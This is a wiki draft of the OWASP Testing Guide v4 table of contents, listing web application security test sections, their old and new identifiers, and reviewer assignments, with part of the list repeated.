[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly "Testing for Content Security Policy weakness (OWASP-CM-008)"

[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly "Testing for Missing HSTS header (OWASP-CM-009)"

[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]

[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly "Testing for RIA policy files weakness (OWASP-CM-010)"

[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new

[[Testing Identity Management|'''4.4 Identity Management Testing''']]

[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New

[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New

[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New

[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly "Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)"

[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly "Testing for Weak or unenforced username policy (OWASP-AT-009)

[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New

[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New

[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New

[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New

[[Testing for authentication|'''4.5 Authentication Testing ''']]

[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]] formerly "Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)"

[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly "Testing for default credentials (OWASP-AT-003)"

[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly "Testing for Weak lock out mechanism (OWASP-AT-004)"

[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly "Testing for bypassing authentication schema (OWASP-AT-005)"

[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly "Testing for vulnerable remember password functionality (OWASP-AT-006)"

[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly "Testing for Browser cache weakness (OWASP-AT-007)"

[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly "Testing for Weak password policy (OWASP-AT-008)"

[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel

[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly "Testing for weak password change or reset functionalities (OWASP-AT-011)"

[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)

[[Testing for Authorization|'''4.6 Authorization Testing''']]

[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New

[[Testing for Path Traversal (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly "Testing Directory traversal/file include (OWASP-AZ-001)"

[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly "Testing for bypassing authorization schema (OWASP-AZ-002)"

[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly "Testing for Privilege Escalation (OWASP-AZ-003)"

[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly "Testing for Insecure Direct Object References (OWASP-AZ-004)"

[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly "Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)"

[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)

[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)

[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly "Testing for failure to restrict access to authenticated resource (OWASP-AT-010)"

[[Testing for Session Management|'''4.7 Session Management Testing''']]

[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly "Testing for Bypassing Session Management Schema (OWASP-SM-001)"

[[Testing for cookies attributes (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly "Testing for Cookies attributes (OWASP-SM-002)" (Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity)

[[Testing for Session Fixation (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly "Testing for Session Fixation (OWASP-SM-003)"

[[Testing for Exposed Session Variables (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly "Testing for Exposed Session Variables (OWASP-SM-004)"

[[Testing for CSRF (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly "Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)"

[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]

[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly "Testing for logout functionality (OWASP-SM-007)"

[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]

[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]

[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]

[[Testing for Data Validation|'''4.8 Data Validation Testing''']]

[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly "Testing for Reflected Cross Site Scripting (OWASP-DV-001)"

[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly "Testing for Stored Cross Site Scripting (OWASP-DV-002)"

[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly "Testing for HTTP Verb Tampering (OWASP-DV-003)"

[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly "Testing for HTTP Parameter pollution (OWASP-DV-004)"

[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly "Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)"

[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly "Testing for SQL Injection (OWASP-DV-005)" '''Ready to be reviewed'''

[[Testing for Oracle|4.8.6.1 Oracle Testing]]

[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]

[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]

[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]

[[Testing for MS Access |4.8.6.5 MS Access Testing]]

[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]

[[Testing for LDAP Injection (OWASP-DV-006)|4.8.7 Testing for LDAP Injection (OTG-INPVAL-007)]] formerly "Testing for LDAP Injection (OWASP-DV-006)"

[[Testing for ORM Injection (OWASP-DV-007)|4.8.8 Testing for ORM Injection (OTG-INPVAL-008)]] formerly "Testing for ORM Injection (OWASP-DV-007)"

[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly "Testing for XML Injection (OWASP-DV-008)"

[[Testing for SSI Injection (OWASP-DV-009)|4.8.10 Testing for SSI Injection (OTG-INPVAL-010)]] formerly "Testing for SSI Injection (OWASP-DV-009)"

[[Testing for XPath Injection (OWASP-DV-010)|4.8.11 Testing for XPath Injection (OTG-INPVAL-011)]] formerly "Testing for XPath Injection (OWASP-DV-010)"

[[Testing for IMAP/SMTP Injection (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection (OTG-INPVAL-012)]] formerly "IMAP/SMTP Injection (OWASP-DV-011)"

[[Testing for Code Injection (OWASP-DV-012)|4.8.13 Testing for Code Injection (OTG-INPVAL-013)]] formerly "Testing for Code Injection (OWASP-DV-012)"

[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]]

[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]]

[[Testing for Command Injection (OWASP-DV-013)|4.8.14 Testing for Command Injection (OTG-INPVAL-014)]] formerly "Testing for Command Injection (OWASP-DV-013)"

[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly "Testing for Buffer overflow (OWASP-DV-014)"

[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]

[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]

[[Testing for Format String|4.8.15.3 Testing for Format string]]

[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly "Testing for incubated vulnerabilities (OWASP-DV-015)"

[[Testing for HTTP Splitting/Smuggling (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-017) ]] formerly "Testing for HTTP Splitting/Smuggling (OWASP-DV-016)" [Juan Galiana]

[[Error Handling|'''4.9 Error Handling''']]

[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly "Analysis of Error Codes (OWASP-IG-006)"

[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly "Analysis of Stack Traces"

[[Cryptography|'''4.10 Cryptography''']]

[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1 Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly "Testing for Insecure encryption usage (OWASP-EN-001)"

[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly "Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)"

[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly "Testing for Padding Oracle (OWASP-EN-003)"

[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]

[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]

[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]

[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]

[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]

[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test

[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly "Incorrect time"

[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]

[[Testing for business logic (OWASP-BL-001)|'''4.12 Business Logic Testing (OWASP-BL-001)''']] [To review--> David Fern]
Business Logic 

[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section

[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]

[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]

[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]

[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]

[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]

[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]

[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]

[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]

[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]

[[Denial of Service|'''4.13 Denial of Service''']]

[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better 

[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]

[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly "Testing for CAPTCHA (OWASP-AT-012)"

[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston]

[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly "Scoping a Web Service Test (OWASP-WS-001)"

[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly "WS Information Gathering (OWASP-WS-002)"

[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly "WS Authentication Testing (OWASP-WS-003)"

[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly "WS Management Interface Testing (OWASP-WS-004)"

[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly "Weak XML Structure Testing (OWASP-WS-005)"

[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly "XML Content-Level Testing (OWASP-WS-006)"

[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly "WS HTTP GET Parameters/REST Testing (OWASP-WS-007)"

[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly "WS Naughty SOAP Attachment Testing (OWASP-WS-008)"

[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly "WS Replay/MiTM Testing (OWASP-WS-009)"

[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly "WS BEPL Testing (OWASP-WS-010)"

[[Client Side Testing|'''4.15 Client Side Testing''']] [New!]

[[Testing for DOM-based Cross site scripting (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]] formerly "Testing for DOM based Cross Site Scripting (OWASP-CS-001)" [Stefano Di Paola]

[[Testing Cross Origin Resource Sharing (OWASP CS-002)|4.15.2 Testing Cross Origin Resource Sharing (OTG-CLIENT-002)]] formerly "Testing for HTML5 (OWASP CS-002)" [Juan Galiana]

[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing (OTG-CLIENT-003)]] formerly "Testing for Cross Site Flashing (OWASP-CS-003)"

[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly "Testing for Clickjacking (OWASP-CS-004)" [Davide Danelon]

[[Testing WebSockets|4.15.5 WebSocket Testing (OTG-CLIENT-005)]] [Ryan Dewhurst]

[[Testing Web Messaging|4.15.6 [Testing Web Messaging (OTG-CLIENT-006)]] [Juan Galiana]

[[Testing Local Storage|4.15.7 Testing Local Storage (OTG-CLIENT-007)]] [Juan Galiana]

[[Testing Sandboxed Iframes|4.15.8 Testing Sandboxed Iframes (OTG-CLIENT-008)]] [Juan Galiana]

==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==

[[How to value the real risk |5.1 How to value the real risk]] [To review--> Amro AlOlaqi]

[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> Amro AlOlaqi]

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools [To review--> Amro AlOlaqi]

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
* Whitepapers [To review--> David Fern]
* Books [To review--> David Fern]
* Useful Websites [To review--> David Fern]

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories [To review--> Amro AlOlaqi]

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==

[To review--> Amro AlOlaqi]

----

[[Category:OWASP Testing Project]]

OWASP Testing Guide v4 Table of Contents

2013-09-05T13:34:58Z

Jgaliana: Changes in Client-side section

__NOTOC__

'''This is the DRAFT of the table of content of the New Testing Guide v4.''' 
 You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] 

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 15th February 2013'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

The following is a DRAFT of the Toc based on the feedback already received.

== Table of Contents ==

==[[Testing Guide Foreword|Foreword by Eoin Keary]]==
[To review--> Eoin Keary -> Done!!]

==[[Testing Guide Frontispiece |1. Frontispiece]]==
[To review--> Mat]

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''
[To review--> Mat]

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''
[To review--> ]

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]

2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]

[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]

[[Testing Information Gathering|'''4.2 Information Gathering ''']]

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)"

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"

[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly "Identify application exit/handover points (OWASP-IG-008)"

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"

[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]

[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly "Testing for Application Configuration Management weakness (OWASP-CM-002)"

[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly "Testing for File Extensions Handling (OWASP-CM-003)"

[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly "Old, Backup and Unreferenced Files (OWASP-CM-004)"

[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly "Infrastructure and Application Admin Interfaces (OWASP-CM-005)"

[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly "Testing for Bad HTTP Methods (OWASP-CM-006)"

[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly "Testing for Database credentials/connection strings available (OWASP-CM-007)"

[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly "Testing for Content Security Policy weakness (OWASP-CM-008)"

[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly "Testing for Missing HSTS header (OWASP-CM-009)"

[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]

[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly "Testing for RIA policy files weakness (OWASP-CM-010)"

[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new

[[Testing Identity Management|'''4.4 Identity Management Testing''']]

[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New

[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New

[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New

[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly "Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)"

[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly "Testing for Weak or unenforced username policy (OWASP-AT-009)

[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New

[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New

[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New

[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New

[[Testing for authentication|'''4.5 Authentication Testing ''']]

[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]] formerly "Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)"

[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly "Testing for default credentials (OWASP-AT-003)"

[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly "Testing for Weak lock out mechanism (OWASP-AT-004)"

[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly "Testing for bypassing authentication schema (OWASP-AT-005)"

[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly "Testing for vulnerable remember password functionality (OWASP-AT-006)"

[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly "Testing for Browser cache weakness (OWASP-AT-007)"

[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly "Testing for Weak password policy (OWASP-AT-008)"

[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel

[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly "Testing for weak password change or reset functionalities (OWASP-AT-011)"

[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)

[[Testing for Authorization|'''4.6 Authorization Testing''']]

[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New

[[Testing for Path Traversal (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly "Testing Directory traversal/file include (OWASP-AZ-001)"

[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly "Testing for bypassing authorization schema (OWASP-AZ-002)"

[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly "Testing for Privilege Escalation (OWASP-AZ-003)"

[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly "Testing for Insecure Direct Object References (OWASP-AZ-004)"

[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly "Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)"

[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)

